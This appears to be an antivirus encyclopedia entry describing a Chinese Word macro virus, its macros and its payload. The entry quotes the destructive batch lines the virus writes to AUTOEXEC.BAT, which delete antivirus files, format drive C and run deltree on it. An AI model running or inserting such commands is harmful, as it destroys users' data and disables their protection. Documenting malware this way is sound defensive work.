Virus.MSWord.Antiavs

Parent class: VirWare

Viruses and worms are malicious programs that self-replicate on computers or via computer networks without the user being aware; each subsequent copy of such malicious programs is also able to self-replicate. Malicious programs which spread via networks or infect remote machines when commanded to do so by the “owner” (e.g. Backdoors) or programs that create multiple copies that are unable to self-replicate are not part of the Viruses and Worms subclass. The main characteristic used to determine whether or not a program is classified as a separate behaviour within the Viruses and Worms subclass is how the program propagates (i.e. how the malicious program spreads copies of itself via local or network resources.) Most known worms are spread as files sent as email attachments, via a link to a web or FTP resource, via a link sent in an ICQ or IRC message, via P2P file sharing networks etc. Some worms spread as network packets; these directly penetrate the computer memory, and the worm code is then activated. Worms use the following techniques to penetrate remote computers and launch copies of themselves: social engineering (for example, an email message suggesting the user opens an attached file), exploiting network configuration errors (such as copying to a fully accessible disk), and exploiting loopholes in operating system and application security. Viruses can be divided in accordance with the method used to infect a computer:

• file viruses
• boot sector viruses
• macro viruses
• script viruses

Any program within this subclass can have additional Trojan functions. It should also be noted that many worms use more than one method in order to spread copies via networks.

Class: Virus

Viruses replicate on the resources of the local machine. Unlike worms, viruses do not use network services to propagate or penetrate other computers. A copy of a virus will reach remote computers only if the infected object is, for some reason unrelated to the virus function, activated on another computer. For example: when infecting accessible disks, a virus penetrates a file located on a network resource a virus copies itself to a removable storage device or infects a file on a removable device a user sends an email with an infected attachment.

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Platform: MSWord

Microsoft Word (MS Word) is a popular word processor and part of Microsoft Office. Microsoft Word files have a .doc or .docx extension.

Description

Technical Details

This is an encrypted Chinese Word macro virus. It contains nine macros: AutoExec, AAV, AutoOpen, AutoNew, FileSaveAs, ZlockMacro, FileTemplates, ToolsMacro, Organizer.

The virus infects the global macros area on opening an infected document (AutoOpen) and writes itself to documents that are saved with a new name (FileSaveAs).

On entering the File/Template menu (FileTemplate) the virus sets the password "AntiAVs" for current document and displays the MessageBox:

WordBasic Err = 16
Not enough memory!

On entering the Tools/Macro menu (ToolsMacro) the virus erases all texts within current document and appends to the AUTOEXEC.BAT file the commands that erase the anti-virus PC-CILLIN files:

echo off
attrib -h -r -s +a c:pc-cil~1*.* >nul
del c:pc-cil~1*.dll >nul

The virus then erases the anti-virus files:

C:PC-Cillin 95Lpt$vpn.*
C:PC-Cillin 97Lpt$vpn.*
C:TscPC-Cillin 97Lpt$vpn.*
C:ZlockavGsav.cas
C:VB7Virus.txt
C:Program FilesNorton AntiVirusViruscan.dat
C:Program FilesSymantecSymevnt.386
C:Program FilesMcAfeeVirusScan95Scan.dat
C:Program FilesMcAfeeVirusScan95Mcscan32.dll
C:Program FilesMcAfeeVirusScanScan.dat
C:Program FilesMcAfeeVirusScanMcscan32.dll
C:Program FilesCommand SoftwareF-PROT95Sign.def
C:Program FilesCommand SoftwareF-PROT95Dvp.vxd
C:Program FilesAntiViral Toolkit ProAvp32.exe
C:Program FilesAntiViral Toolkit Pro*.avc
C:Tbavw95Tbavw95.vxd

Depending on the system random counter the virus writes the text to the AUTOEXEC.BAT file:

@Echo off
cls
echo I have clean a huge virus:
echo         MS-WINDOWS
echo for you.   ^_^
echo                --AntiAVs--
echo y|format c: /u /v:AAV >nul
deltree /y c: >nul

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